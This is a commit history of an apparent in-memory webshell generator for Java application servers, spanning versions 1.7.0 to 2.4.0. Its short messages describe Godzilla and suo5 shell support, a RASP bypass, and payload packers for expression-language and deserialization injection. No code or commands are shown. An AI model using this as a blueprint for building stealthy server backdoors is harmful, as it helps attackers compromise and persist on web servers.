Compare commits

..
779 Commits
Author SHA1 Message Date
ReaJason 37832ee768 chore: 2.4.0 2025-12-10 02:10:59 +08:00
ReaJason a59282b2a9 docs: update changelog 2025-12-10 02:10:34 +08:00
ReaJason bf151faa1c docs: add suo5 usage 2025-12-10 02:09:13 +08:00
ReaJason 11c439f6c6 fix: rm jar package for probe shell 2025-12-10 02:09:13 +08:00
ReaJason a10386457c feat: support suo5 v2 jetty customizer 2025-12-10 02:09:13 +08:00
ReaJason dd9333e473 feat: support suo5 v2 shell 2025-12-10 02:09:13 +08:00
ReaJason d7a67b3056 feat: support struct2 memshell and probeshell 2025-12-10 02:09:13 +08:00
ReaJason e41f8347c6 ci: release ci broken 2025-12-08 02:32:56 +08:00
ReaJason 47b628ee5b chore: 2.3.0 2025-12-08 02:28:02 +08:00
ReaJason 970e260b16 build: change dev port 2025-12-08 02:26:31 +08:00
ReaJason ebfb9323f8 ci: api changed 2025-12-08 02:23:52 +08:00
ReaJason 818f42048d build: react-router failed 2025-12-08 02:20:18 +08:00
ReaJason 554719a447 build: source.config.ts not found 2025-12-08 02:08:37 +08:00
ReaJason 42a9c00263 build: bun.lockb not found 2025-12-08 01:48:43 +08:00
ReaJason b1b44dbc4c docs: update README 2025-12-08 01:45:54 +08:00
ReaJason 0c5847b4dd docs: rm useless docs 2025-12-08 01:44:36 +08:00
ReaJason ef1a77d11d docs: move folder 2025-12-08 01:43:41 +08:00
ReaJason 8551c3b18f build: custom base path not work 2025-12-08 01:43:41 +08:00
ReaJason c1631b9401 fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason e1a852a301 feat: support probe paramName optional 2025-12-08 01:43:41 +08:00
ReaJason 4fd1e4170f feat: support command probe template 2025-12-08 01:43:41 +08:00
ReaJason 73f5694cac chore: unify color theme 2025-12-08 01:43:41 +08:00
ReaJason bac3023dfa feat: support command template 2025-12-08 01:43:41 +08:00
ReaJason baeb3daa50 fix: wrong jetty handler will disrupt service 2025-12-08 01:43:41 +08:00
ReaJason 5d28df0e39 refactor: use processors 2025-12-08 01:43:41 +08:00
ReaJason b29d83d3b4 feat: support tomcat upgrade 2025-12-08 01:43:41 +08:00
ReaJason 605379907b test: add jboss eap-8.1 cases 2025-12-08 01:43:41 +08:00
ReaJason 84c61629ff fix: container not ready 2025-12-08 01:43:41 +08:00
ReaJason 4a207e583a test: simplify payload 2025-12-08 01:43:41 +08:00
ReaJason afb3d46080 test: wait for /app 2025-12-08 01:43:41 +08:00
ReaJason 102173b924 feat: support GroovyTransformJar packer 2025-12-08 01:43:41 +08:00
ReaJason 8b8cc7173d test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason c43d87eea1 fix: injector msg is empty 2025-12-08 01:43:41 +08:00
ReaJason 11e58495fc feat: support jetty ee responseBodyProbe 2025-12-08 01:43:41 +08:00
ReaJason 8491d6f964 feat: bytecode probe support gzip 2025-12-08 01:43:41 +08:00
ReaJason 1cf5f37086 perf: probe shell only run once 2025-12-08 01:43:41 +08:00
ReaJason cd8111d0d7 feat: support probe mode 2025-12-08 01:43:41 +08:00
ReaJason 653665e479 feat: support appendLambdaSuffix 2025-12-08 01:43:41 +08:00
ReaJason 79c3e0d929 fix: ui not rendered 2025-12-08 01:43:41 +08:00
ReaJason 50a60c4c65 test: fix failed cases 2025-12-08 01:43:41 +08:00
ReaJason 90c20b5388 ci: setup node 22 2025-12-08 01:43:41 +08:00
ReaJason 4652f644e4 feat: support fumadocs 2025-12-08 01:43:41 +08:00
ReaJason c21d47140f test: add jdk11 scriptEngine test case 2025-12-08 01:43:41 +08:00
ReaJason fc3961a6bf perf: run only once 2025-12-08 01:43:41 +08:00
ReaJason 962264f13e fix: bes 9.5.1 agent shell not work 2025-12-08 01:43:41 +08:00
ReaJason 75495aee20 chore: version 2.3.0-SNAPSHOT 2025-12-08 01:43:41 +08:00
ReaJason 13a83d510b fix(ui): hide urlPatternField for customizer 2025-12-08 01:43:41 +08:00
ReaJason 2582a12785 fix: typo 2025-12-08 01:43:41 +08:00
ReaJason 05bfa6fd1c feat: support jetty customizer shell 2025-12-08 01:43:41 +08:00
ReaJason 40e6c55b6d chore: change jetty to undertow 2025-12-08 01:43:41 +08:00
ReaJason bfda586d58 feat: add scriptEngineBypassModule packer 2025-12-08 01:43:41 +08:00
ReaJason f0c88ab914 refactor: simplify fetch context from spring 2025-12-08 01:43:41 +08:00
ReaJason 504dde9335 feat: support jetty handler shell 2025-12-08 01:43:41 +08:00
ReaJason e4e86d2c8d refactor: use hashset to reduce inject times 2025-12-08 01:43:41 +08:00
ReaJason dc898fd214 refactor: remove useless code 2025-12-08 01:43:41 +08:00
ReaJason 0ec52dd167 docs: update domain 2025-11-28 09:53:55 +08:00
ReaJason fac0748055 chore: 2.2.0 2025-11-20 02:27:20 +08:00
ReaJason 1926259fab docs: update CHANGELOG 2025-11-20 02:04:27 +08:00
ReaJason bebd374737 fix: build error 2025-11-20 00:43:03 +08:00
ReaJason 6b1a569be9 feat: support AbstractTranslet packer 2025-11-20 00:36:25 +08:00
ReaJason bd308fae10 chore: rm useless options 2025-11-20 00:36:25 +08:00
ReaJason 05729fc458 docs: update CHANGELOG 2025-11-20 00:36:25 +08:00
ReaJason 59fd17355b feat: support scriptEngineJar packer 2025-11-20 00:36:25 +08:00
ReaJason 5e8529a0c7 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason f0526eeb28 feat: support script engine probe 2025-11-20 00:36:25 +08:00
ReaJason fab623ac4f feat: support probe get payload from header by default 2025-11-20 00:36:25 +08:00
ReaJason e9a0eb61d9 build: rm useless dep 2025-11-20 00:36:25 +08:00
ReaJason 4f86572192 feat: support command shell get cmd from header 2025-11-20 00:36:25 +08:00
ReaJason 2216aafcad chore: upgrade deps 2025-11-20 00:36:25 +08:00
ReaJason 39b09cecb1 test: fix failed cases 2025-11-20 00:36:25 +08:00
ReaJason 9be935694c feat: injector support print some msg 2025-11-20 00:36:25 +08:00
ReaJason 8d68e18a23 test: add jetty ee11 Dockerfile 2025-11-20 00:36:25 +08:00
ReaJason 29207c1b53 test: add some cve docker-compose 2025-11-20 00:36:25 +08:00
ReaJason 8c77a4049b feat: support staticInitialize 2025-11-20 00:36:25 +08:00
ReaJason 1cf3c58b7b fix: wildfly 36 fetch pid error 2025-11-20 00:36:25 +08:00
ReaJason 05892d4b8b test: add bigInterger for expression vul 2025-11-20 00:36:25 +08:00
ReaJason 4be54c0ecb build: simplify dependencies move 2025-11-20 00:36:25 +08:00
ReaJason 5a614e3b39 feat: support spring response body writer 2025-11-20 00:36:25 +08:00
ReaJason 34e1e53b67 test: remove some packer test to speedup 2025-11-20 00:36:25 +08:00
ReaJason 13097cec99 test: add static block self constructor testcase 2025-11-20 00:36:25 +08:00
ReaJason b4af77ddb2 chore: upgrade spring boot 3.5.3 to 3.5.7 2025-11-20 00:36:25 +08:00
ReaJason 245ec99839 feat: support parse custom shell className 2025-11-20 00:36:25 +08:00
ReaJason 81926b0a78 chore: change no field exception msg 2025-11-20 00:36:25 +08:00
ReaJason 6ccd139444 perf: remove session for godzilla 2025-11-20 00:36:25 +08:00
ReaJason fd1a560aa2 build: react-hook-form build failed 2025-11-20 00:36:25 +08:00
ReaJason 55f676553c build: openjdk docker image not found 2025-11-20 00:36:25 +08:00
ReaJason 26b4f48e98 refactor: simplify code 2025-11-20 00:36:25 +08:00
ReaJason 131222cf29 feat(web): support download button for some packers 2025-11-20 00:36:25 +08:00
ReaJason 7b390b7773 fix: proxyValve cause service exception 2025-11-20 00:36:25 +08:00
ReaJason f8696dada5 fix: custom shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason 0e0307fb97 fix: rm debug print 2025-11-20 00:36:25 +08:00
ReaJason 798e447ab6 fix: custom shell classname use itself 2025-11-20 00:36:25 +08:00
ReaJason c495ef46a4 fix(ui): shellTool not changed when trigger init 2025-11-20 00:36:25 +08:00
ReaJason 69ef9ab230 ci: dev build test 2025-11-20 00:36:25 +08:00
ReaJason d6ef24b878 test: add generate controller test case 2025-11-20 00:36:25 +08:00
ReaJason d06f238e2f fix: serialize failed 2025-11-20 00:36:25 +08:00
ReaJason 12d2a191b2 test: add docker compose cases 2025-11-20 00:36:25 +08:00
ReaJason 86b31b193d fix: custom listener shell generate failed 2025-11-20 00:36:25 +08:00
ReaJason beb22b3ab1 chore: version 2.2.0-SNAPSHOT 2025-11-20 00:36:25 +08:00
ReaJason d0acb7712a test: support bypass CSRF 2025-11-20 00:36:25 +08:00
ReaJason e7c69befe8 feat: support Apusic 9.0.1 2025-11-20 00:36:25 +08:00
ReaJason 4134c7233b fix: custom shell NPE 2025-11-20 00:36:25 +08:00
ReaJason d179ceada7 docs: update CHANGELOG 2025-09-13 09:12:02 +08:00
ReaJason 799302348f chore: 2.1.0 2025-09-12 23:10:47 +08:00
ReaJason 9b849b6e39 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason e7b5430075 test: add WildFly 36.0.0-Final-jdk21 2025-09-12 22:51:50 +08:00
ReaJason 6942affbc8 fix: rename lambda className failed 2025-09-12 22:51:50 +08:00
ReaJason 48a65574aa style: lint code 2025-09-12 22:51:50 +08:00
ReaJason ee1b2db869 fix(ui): use shellTool selector 2025-09-12 22:51:50 +08:00
ReaJason 1879eaab22 fix: reduce space 2025-09-12 22:51:50 +08:00
ReaJason 4ab8ecba13 test: add testground 2025-09-12 22:51:50 +08:00
ReaJason 2e5de88f97 test: add probe no magic prefix 2025-09-12 22:51:50 +08:00
ReaJason 842200280d fix(ui): page not suitable for big screen 2025-09-12 22:51:50 +08:00
ReaJason ab3f7d1043 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason b476c9a542 feat: support multi call for probe 2025-09-12 22:51:50 +08:00
ReaJason 5239b8cb5d feat: support Base64URLEncodedPacker 2025-09-12 22:51:50 +08:00
ReaJason f88c5d5606 feat: byteCode Probe support remove magic str 2025-09-12 22:51:50 +08:00
ReaJason b1e3d6aef1 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason 8897c4c607 ci: support run integration test manually 2025-09-12 22:51:50 +08:00
ReaJason 92c0d1d8a8 refactor: simplify command shell 2025-09-12 22:51:50 +08:00
ReaJason c31c3bd958 refactor: loadResource 2025-09-12 22:51:50 +08:00
ReaJason e1f0e7f4bd feat: support JXPathSpringGzipPacker 2025-09-12 22:51:50 +08:00
ReaJason c272a5387d fix: add too many dependencies in fatjar 2025-09-12 22:51:50 +08:00
ReaJason 44abb44670 fix: support jdk11 attach exception 2025-09-12 22:51:50 +08:00
ReaJason 1120c215d4 docs: update CHANGELOG 2025-09-12 22:51:50 +08:00
ReaJason aa140a8777 refactor: simplify CommandProbe 2025-09-12 22:51:50 +08:00
ReaJason 88af60fea4 fix: probe custom shellClassName not work 2025-09-12 22:51:50 +08:00
ReaJason 9b7d244837 build: remove useless package 2025-09-12 22:51:50 +08:00
ReaJason 460465fe35 chore: upgrade dep 2025-09-12 22:51:50 +08:00
ReaJason f33972e460 refactor: simplify config build 2025-09-12 22:51:50 +08:00
ReaJason da16649e6f fix: supportedShellTools not right 2025-09-12 22:51:50 +08:00
ReaJason d7eaf5c068 fix: custom shell not supported for listener and valve vistor 2025-09-12 22:51:50 +08:00
ReaJason 8286dcd4c3 chore: version 2.1.0-SNAPSHOT 2025-09-12 22:51:50 +08:00
ReaJason ba449cc8e4 refactor: remove ShellTool enum 2025-09-12 22:51:50 +08:00
WansandReaJason e844bd5871 style: format code (#95)
Co-authored-by: ReaJason <[email protected]>
2025-08-28 17:50:23 +08:00
Wans 8f2872e542 feat: support ScriptEngineBigInteger 2025-08-28 10:18:20 +08:00
ReaJason 1c28a5d4ba fix: Tomcat old listeners not work when inject listener shell (#93) 2025-08-28 00:32:30 +08:00
Wans 9925d901f5 feat: support BigInteger packer 2025-08-25 19:25:54 +08:00
小晨曦andReaJason ed50e93183 feat: support SpELSpringIOUtilsJDK17 (resolved #83)
Co-authored-by: ReaJason <[email protected]>
2025-08-25 14:34:47 +08:00
ReaJason 7baa728d0c ci: MemShell IntegrationTest not run when packer changed 2025-08-25 12:18:22 +08:00
ReaJason 5cc7f7f2e8 build: add more repositories 2025-08-22 18:41:48 +08:00
ReaJason 828556f82b docs: update README 2025-08-22 18:41:02 +08:00
ReaJason 134d1f6f4c ci: skip vul for docker build test 2025-08-21 18:21:05 +08:00
ReaJason e2272255ca test: add vul-playframework 2025-08-21 18:19:55 +08:00
ReaJason 3a437512c7 ci: syntax error 2025-08-21 18:15:43 +08:00
ReaJason 2fd2e549ad ci: separate test workflow 2025-08-21 18:14:18 +08:00
ReaJason 33ce7f3bb0 docs: update BuildOnLocal.md 2025-08-14 23:16:23 +08:00
ReaJason 9796cdca97 docs: update CHANGELOG 2025-08-14 22:55:28 +08:00
ReaJason 50af147fc9 ci: speedup docker build [skip ci] 2025-08-14 22:42:05 +08:00
ReaJason e0385acf8b fix: router duplicated 2025-08-14 22:41:45 +08:00
ReaJason 2acafba2f3 ci: only build amd64 for docker push [skip ci] 2025-08-14 19:19:18 +08:00
ReaJason 020d508f7a ci: use ubuntu-22.04 runner for docker push [skip ci] 2025-08-14 19:13:25 +08:00
ReaJason c42969e73e ci: use macos-15 runner for docker push [skip ci] 2025-08-14 19:10:25 +08:00
ReaJason 6c76a90f03 fix: example 2.0.0 release version 2025-08-14 18:54:43 +08:00
ReaJason feeb7014fb fix: e.printStackTrace() not remove from <init> when debugOff 2025-08-14 18:53:27 +08:00
ReaJason 5f7b398ddb fix(web): reactRouter basename not work 2025-08-14 18:52:31 +08:00
ReaJason 2b32b741d6 docs: update README 2025-08-14 00:56:56 +08:00
ReaJason 2b8e1f5de7 ci: add custom docker push ci 2025-08-14 00:47:24 +08:00
ReaJason a7a5d461fe ci: custom build context error 2025-08-14 00:47:14 +08:00
ReaJason dd727fbe9c fix: isProduction always true 2025-08-14 00:47:00 +08:00
ReaJason f544563315 ci: release ci syntax error 2025-08-14 00:13:11 +08:00
ReaJason ebd97529ad chore: 2.0.0 2025-08-14 00:08:14 +08:00
ReaJason 82f46deb76 ci: ignore examples folder for test ci 2025-08-14 00:05:32 +08:00
ReaJason 6896426811 test: add some docker-compose.yaml 2025-08-14 00:03:20 +08:00
ReaJason e006814e96 docs: update CHANGELOG 2025-08-13 23:53:40 +08:00
ReaJason 6be89d2448 feat: support 2.0.0 examples 2025-08-13 23:53:40 +08:00
ReaJason db40ac86d8 ci: support RedQueen docker tag build 2025-08-13 23:53:40 +08:00
ReaJason 6a475983db fix: add generate exception global handler 2025-08-13 23:53:40 +08:00
ReaJason 5aae3c4dbe feat: add about page 2025-08-13 23:53:40 +08:00
ReaJason 3f5a2ddb6b feat: support i18n namespace 2025-08-13 23:53:40 +08:00
ReaJason a5f6411444 style(web): format code 2025-08-13 23:53:40 +08:00
ReaJason ede8a649bc docs: update README 2025-08-13 23:53:40 +08:00
ReaJason ff49fe1f0c fix: rm landing page 2025-08-13 23:53:40 +08:00
ReaJason 29150c56c9 test: add sleep server test case 2025-08-13 23:53:40 +08:00
ReaJason a1f3bd5b6c test: add k6 test js 2025-08-13 23:53:40 +08:00
ReaJason d4efc69643 fix: add newInstance for AviatorPacker 2025-08-13 23:53:40 +08:00
ReaJason 7e3e97d79a refactor: rm static block for better life 2025-08-13 23:53:40 +08:00
ReaJason 7c9d330909 test: retry for tomcat test cases 2025-08-13 23:53:40 +08:00
ReaJason 1c320d7de6 build: speedup module build by using build-logic 2025-08-13 23:53:40 +08:00
ReaJason a330f6fe29 build: vul-webapp failed with junit5 2025-08-13 23:53:40 +08:00
ReaJason f9dce4f84b refactor: rename
1. 将枚举 Server 改为字符串常量,使得 memshell 和 probeshell 都能共用
2. 移除 memshell 模块直接内置在 generator 中
3. 通用类从 memshell 移动至 javaweb 下,命名修改,增加辨识度
2025-08-13 23:53:40 +08:00
ReaJason d4bde3baad fix: web page broken 2025-08-13 23:53:40 +08:00
ReaJason 99b40a945f test: images use specific version 2025-08-13 23:53:40 +08:00
ReaJason 31e1e26488 fix: windows attach res not found 2025-08-13 23:53:40 +08:00
ReaJason 4a3bc0c40a feat: support probe shell generation 2025-08-13 23:53:40 +08:00
ReaJason 3102f10d7b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 4ea5ef68f9 ci: test docker build only on master 2025-08-13 23:53:40 +08:00
ReaJason 8bff3b24c7 feat: support XMLDecoderDefineClass packer 2025-08-13 23:53:40 +08:00
ReaJason 6361e4d50b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 5fb85f9ff1 feat: support XMLDecoder packer 2025-08-13 23:53:40 +08:00
ReaJason 73c05bc6c6 feat: support OGNL SpringUtils packers 2025-08-13 23:53:40 +08:00
ReaJason 5f153a9052 refactor: simplify server options 2025-08-13 23:53:40 +08:00
ReaJason 37d3086ca5 fix: className is illegal 2025-08-13 23:53:40 +08:00
ReaJason a4bdde14dd fix: error msg not correct 2025-08-13 23:53:40 +08:00
ReaJason c451e42188 docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 1a8443b08c chore: upgrade docker image version 2025-08-13 23:53:40 +08:00
ReaJason d37089f063 chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 55fc9f8cc0 fix: skip no static resource exception 2025-08-13 23:53:40 +08:00
ReaJason 28868f5769 style: rm console.log 2025-08-13 23:53:40 +08:00
ReaJason c5b753abe5 fix: SpringWebMVC Agent generate button not work 2025-08-13 23:53:40 +08:00
ReaJason e556cfa80a refactor: rename i18 json key 2025-08-13 23:53:40 +08:00
ReaJason 67f21b0abf chore: upgrade deps 2025-08-13 23:53:40 +08:00
ReaJason 466d236ba2 test: pid fetch failed 2025-08-13 23:53:40 +08:00
ReaJason 78cbc3bb6c refactor: simplify payload 2025-08-13 23:53:40 +08:00
ReaJason 9fe2630c36 feat: support H2 packer 2025-08-13 23:53:40 +08:00
ReaJason f09ae066bd fix: /osgi context not webContext 2025-08-13 23:53:40 +08:00
ReaJason b2520eebac fix: InforSuite Agent not work 2025-08-13 23:53:40 +08:00
ReaJason 65e23040ae fix: TongWeb8 context fetch error 2025-08-13 23:53:40 +08:00
ReaJason 22123cec7e test: use recommended logback configuration 2025-08-13 23:53:40 +08:00
ReaJason 7f7e48233b build: rm useless package 2025-08-13 23:53:40 +08:00
ReaJason 58341b4f7c refactor: add packer module 2025-08-13 23:53:40 +08:00
ReaJason ba04db93be build: rm memshell-party-bom module 2025-08-13 23:53:40 +08:00
ReaJason 57a653235b perf: reduce js size 2025-08-13 23:53:40 +08:00
ReaJason 5b2a47e499 chore: version 2.0.0-SNAPSHOT 2025-08-13 23:53:40 +08:00
ReaJason 95617a787b docs: update README 2025-08-13 23:53:40 +08:00
ReaJason 83fe7cad8c feat: add more page 2025-08-13 23:53:40 +08:00
ReaJason afa8f9dd06 feat: support Apusic V10 2025-08-13 23:53:40 +08:00
ReaJason b6fca022f9 refactor: simplify Tomcat AgentInjector 2025-08-13 23:53:40 +08:00
ReaJason 9fa01834e7 chore: 1.10.0 2025-06-07 14:35:53 +08:00
ReaJason 85b7750ab8 docs: add WriteCustomShell.md 2025-06-07 14:35:29 +08:00
ReaJason 9c5dc1fa9d docs: update README 2025-06-07 14:35:13 +08:00
ReaJason a833e3acdd docs: update CHANGELOG 2025-06-07 14:33:57 +08:00
ReaJason b12a8530f2 build: use Kotlin DSL 2025-06-07 13:31:18 +08:00
ReaJason 74701926b6 chore: upgrade Gradle 8.14.2 2025-06-07 13:31:18 +08:00
ReaJason a371c6adb6 chore: upgrade dep 2025-06-07 13:31:18 +08:00
ReaJason cd9c9ef162 fix(ui): copy button position on mobile 2025-06-07 13:31:18 +08:00
ReaJason d4ff5fdf65 fix(ui): input placeholder font-size on mobile 2025-06-07 13:31:18 +08:00
ReaJason 1dc27116f1 refactor: combine normal and bypass JSP template 2025-06-07 13:31:18 +08:00
ReaJason f43218b5e1 feat: support JBossAS ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 04bbddee6b feat: support Tomcat ProxyValve shell 2025-06-07 13:31:18 +08:00
ReaJason 59cf8674f1 fix: TongWeb8 Valve not work 2025-06-07 13:31:18 +08:00
ReaJason 9572b90cef refactor: merge JBossAS and GlassFish 2025-06-07 13:31:18 +08:00
ReaJason 96044dc231 fix: Glassfish3 classNotFound 2025-06-07 13:31:18 +08:00
ReaJason bae97ec554 refactor: simplify base64 and getFieldValue method 2025-06-07 13:31:18 +08:00
ReaJason b6ba3c632a test: add servlet for Tomcat8 2025-06-07 13:31:18 +08:00
ReaJason 453ef58b15 refactor: catch Throwable 2025-06-07 13:31:18 +08:00
ReaJason a37e32deb2 refactor: move method order 2025-06-07 13:31:18 +08:00
ReaJason faee94d77e refactor: use TypeDescription 2025-06-07 13:31:18 +08:00
ReaJason b0e2e218f0 ci: deploy when boot or web update 2025-06-07 13:31:18 +08:00
ReaJason 6fee88d761 feat: use new theme 2025-06-07 13:31:18 +08:00
ReaJason d6613f770a chore: 1.10.0-SNAPSHOT 2025-06-07 13:31:18 +08:00
ReaJason 5627604ba9 refactor: merge memshell module 2025-06-07 13:31:18 +08:00
ReaJason c1e0fbbc18 refactor: rename packageName 2025-06-07 13:31:18 +08:00
ReaJason 74079d81ed test: unit test failed 2025-06-07 13:31:18 +08:00
ReaJason 9792f242ce test: add Apusic pid sh 2025-06-07 13:31:18 +08:00
ReaJason 3ae57d6b67 refactor: simplify generateBytes code 2025-06-07 13:31:18 +08:00
ReaJason 69f554ae4e feat: support defineClass JSP packers 2025-06-07 13:31:18 +08:00
ReaJason 8565dd9c52 test: add --debug for suo5 2025-06-07 13:31:18 +08:00
ReaJason 021e0a3e9d refactor: build valve and listener shell when generate 2025-06-07 13:31:18 +08:00
ReaJason dc958d49df fix: Godzilla not work on latest version 2025-06-07 13:31:18 +08:00
ReaJason 5f83b52bc0 docs: add Tomcat context comment 2025-06-07 13:31:18 +08:00
ReaJason 59bcd6aecf docs: update screenshots 2025-05-28 22:33:49 +08:00
ReaJason d1a2912428 chore: 1.9.0 2025-05-28 01:22:54 +08:00
ReaJason 006cce6a74 docs: update CHANGELOG 2025-05-28 01:22:54 +08:00
ReaJason 8d240f2a50 feat: compact mode 2025-05-28 01:22:54 +08:00
ReaJason 9d03c04dfa fix: disconnected 2025-05-28 01:22:54 +08:00
ReaJason 8e4dd5ab6a style: lint 2025-05-28 01:22:54 +08:00
ReaJason 8ae71c5b6b chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 566286a8fa refactor: simplify shell generator 2025-05-28 01:22:54 +08:00
ReaJason 9692ab6e7b fix: Jakarta WebSocket not work 2025-05-28 01:22:54 +08:00
ReaJason c75cb2f8ef refactor: use yup custom validator 2025-05-28 01:22:54 +08:00
ReaJason e31fcdeca9 refactor: simplify component 2025-05-28 01:22:54 +08:00
ReaJason f734e3c391 feat: use unsafe by reflection 2025-05-28 01:22:54 +08:00
ReaJason 8558487b6c refactor: optimize imports 2025-05-28 01:22:54 +08:00
ReaJason c5ad3e81cb feat: support TongWeb8 2025-05-28 01:22:54 +08:00
ReaJason 18c0920c27 feat: show urlPattern option when needed 2025-05-28 01:22:54 +08:00
ReaJason ddfa273938 fix(ui): show one column in phone 2025-05-28 01:22:54 +08:00
ReaJason 4a1359a736 feat: shrink by default 2025-05-28 01:22:54 +08:00
ReaJason d197691bed feat: support custom command implementation 2025-05-28 01:22:54 +08:00
ReaJason f7e401bd46 test: add cases 2025-05-28 01:22:54 +08:00
ReaJason cd10fe9a2c style: lint 2025-05-28 01:22:54 +08:00
ReaJason 21acf71af6 build: upgrade boot 2025-05-28 01:22:54 +08:00
ReaJason bb8e4c7a7e feat: add diff tips for attacher 2025-05-28 01:22:54 +08:00
ReaJason 627ecf6465 test: add JRE and JDK Attacher test cases 2025-05-28 01:22:54 +08:00
ReaJason 0658f103cc feat: shrink agentJar by default 2025-05-28 01:22:54 +08:00
ReaJason b134b5a5a7 build: Gradle 8.14.1 2025-05-28 01:22:54 +08:00
ReaJason cc6bed07a1 docs: update README 2025-05-28 01:22:54 +08:00
ReaJason 5d5f866744 fix: Apusic Listener not work 2025-05-28 01:22:54 +08:00
ReaJason cf82dd9470 chore: upgrade example dep version 2025-05-28 01:22:54 +08:00
ReaJason b06a39d1b8 chore: upgrade dep 2025-05-28 01:22:54 +08:00
ReaJason 19faf77d5c feat: support AgentAttacher Packer 2025-05-28 01:22:54 +08:00
ReaJason a3704eb7b7 feat: use ASM Agent by default 2025-05-28 01:22:54 +08:00
ReaJason eeed6e45c7 fix: support AES_BASE64 GodzillaWebSocket by default 2025-05-28 01:22:54 +08:00
ReaJason 3c1c1cb8fc feat: support webAppClassLoader 2025-05-28 01:22:54 +08:00
ReaJason 26d72cb909 refactor: remove unused code 2025-05-28 01:22:54 +08:00
ReaJason 70c128ced1 docs: update CHANGELOG 2025-05-14 01:29:12 +08:00
ReaJason dd2d9a8a3e ci: add docker build test 2025-05-14 01:13:44 +08:00
ReaJason ea955feccd chore: 1.8.0 2025-05-14 00:59:31 +08:00
ReaJason 6c84c44005 docs: update 2025-05-14 00:47:22 +08:00
ReaJason b581583dce refactor: rename 2025-05-14 00:34:32 +08:00
ReaJason a037e5d043 chore: upgrade deps 2025-05-14 00:34:32 +08:00
ReaJason 06dc282cff test: add godzilla ws case 2025-05-14 00:34:32 +08:00
ReaJason cae0a38a7a test: update docker-compose yamls 2025-05-14 00:34:32 +08:00
ReaJason d69df0d1c1 test: deploy failed in some middleware 2025-05-14 00:34:32 +08:00
ReaJason 942fa3ec68 test: godzilla websocket failed 2025-05-14 00:34:32 +08:00
ReaJason f52efcb7a2 feat: add websocket godzilla 2025-05-14 00:34:32 +08:00
ReaJason f55702ecda fix: jetty ee10 listener failed 2025-05-14 00:34:32 +08:00
ReaJason bc53918455 chore: update .gitignore 2025-05-14 00:34:32 +08:00
ReaJason ac2b28c1f3 test: add jetty ee8 ~ ee10 cases 2025-05-14 00:34:32 +08:00
ReaJason e68355df8b feat: support jetty ee8 ~ ee10 env 2025-05-14 00:34:32 +08:00
ReaJason e4a5215f5f fix: scriptEngine payload error 2025-05-14 00:34:32 +08:00
ReaJason 4f8ff51f8b feat: add groovy definer packer 2025-05-14 00:34:32 +08:00
ReaJason fc9877aa3a refactor: simplify code 2025-05-14 00:34:32 +08:00
ReaJason 8bb338d5a1 fix: ws command encryptor not work 2025-05-14 00:34:32 +08:00
ReaJason 0e2abdecb3 fix: downgrade runtime.exec 2025-05-14 00:34:32 +08:00
ReaJason f934e1e7ed fix: forkAndExec jdk7 & jdk11 2025-05-14 00:34:32 +08:00
ReaJason 330544c7f7 feat: support Primeton App Server 2025-05-14 00:34:32 +08:00
ReaJason 0fe51f8ec0 fix: JDK6 forkAndExec run failed 2025-05-14 00:34:32 +08:00
ReaJason d2efb56dbc chore: upgrade shadow Gradle plugin 2025-05-14 00:34:32 +08:00
ReaJason 827462bcc6 test: use right JDK version 2025-05-14 00:34:32 +08:00
ReaJason e59678188a feat: command unsafe bypass RASP 2025-05-14 00:34:32 +08:00
ReaJason 0ea1e7baba fix: xxl-job NPE 2025-05-14 00:34:32 +08:00
ReaJason d0ee5c66bf test: use pgrep command 2025-05-14 00:34:32 +08:00
ReaJason 0ee64df302 perf: init on startup 2025-05-14 00:34:32 +08:00
ReaJason 565d05340e feat: support command encryptor 2025-05-14 00:34:32 +08:00
ReaJason 761de0af90 refactor: dynamic add getFieldValue method for Listener 2025-05-14 00:34:32 +08:00
ReaJason 50a9aec83c style: unify fetch threads 2025-05-14 00:34:32 +08:00
ReaJason 3ecdbf020d test: add SpringBoot3 Tomcat test cases 2025-05-14 00:34:32 +08:00
ReaJason 65d097c43d ci: speed up integration test 2025-04-23 00:41:10 +08:00
ReaJason 825c276d4e feat: shrink TemplatesImpl fooBytes 2025-04-23 00:10:48 +08:00
ReaJason b8f3b67ba4 test: rm SpringBoot3 Tomcat testcases 2025-04-23 00:10:48 +08:00
ReaJason 59621eefec test: jboss4 PermGen OOM 2025-04-23 00:10:48 +08:00
ReaJason a0e9dfbc85 fix: SpringBoot Undertow and Jetty Shell inject failed 2025-04-23 00:10:48 +08:00
ReaJason 98281f0eae fix: SpringBoot Tomcat Shell Inject failed 2025-04-23 00:10:48 +08:00
ReaJason 2851c5d9e0 build: upgrade bun image version for fast build 2025-04-16 20:47:05 +08:00
ReaJason 02bc358498 docs: exchange word 2025-04-13 01:20:56 +08:00
ReaJason 2fe3f82ebc docs: link error 2025-04-13 01:09:33 +08:00
ReaJason 8e89db5b96 docs: update README 2025-04-13 01:08:26 +08:00
ReaJason 8f46ea2e5e docs: link error 2025-04-13 01:06:30 +08:00
ReaJason 9299764994 docs: update README 2025-04-13 01:04:19 +08:00
ReaJason d0b3ad2d95 docs: add English README 2025-04-13 01:01:36 +08:00
ReaJason 29f854c6dd refactor: format code 2025-04-12 21:48:23 +08:00
ReaJason 29d0d1b1e7 docs: add filter and listener (#27) 2025-04-12 21:36:35 +08:00
ReaJason 93fc7205cc docs: add ; for code 2025-04-11 00:02:57 +08:00
ReaJason f86675aee1 docs: add java servlet md (#27) 2025-04-10 23:53:19 +08:00
ReaJason ecfe751f38 docs: add recommended tools md (#27) 2025-04-10 00:04:16 +08:00
ReaJason 8e3dee8d13 docs: add self product intro 2025-04-08 23:04:23 +08:00
ReaJason 6a899d9f92 docs: add memshell intro 2025-04-08 22:59:44 +08:00
ReaJason 7bb4890443 docs: add maven central badge 2025-04-06 19:07:24 +08:00
ReaJason 66c6403dd7 docs: update README 2025-04-06 14:15:43 +08:00
ReaJason 9fa0cdd089 docs: update README 2025-04-06 14:11:13 +08:00
ReaJason abe55ba17e chore: 1.7.0 [skip ci] 2025-04-06 14:06:05 +08:00
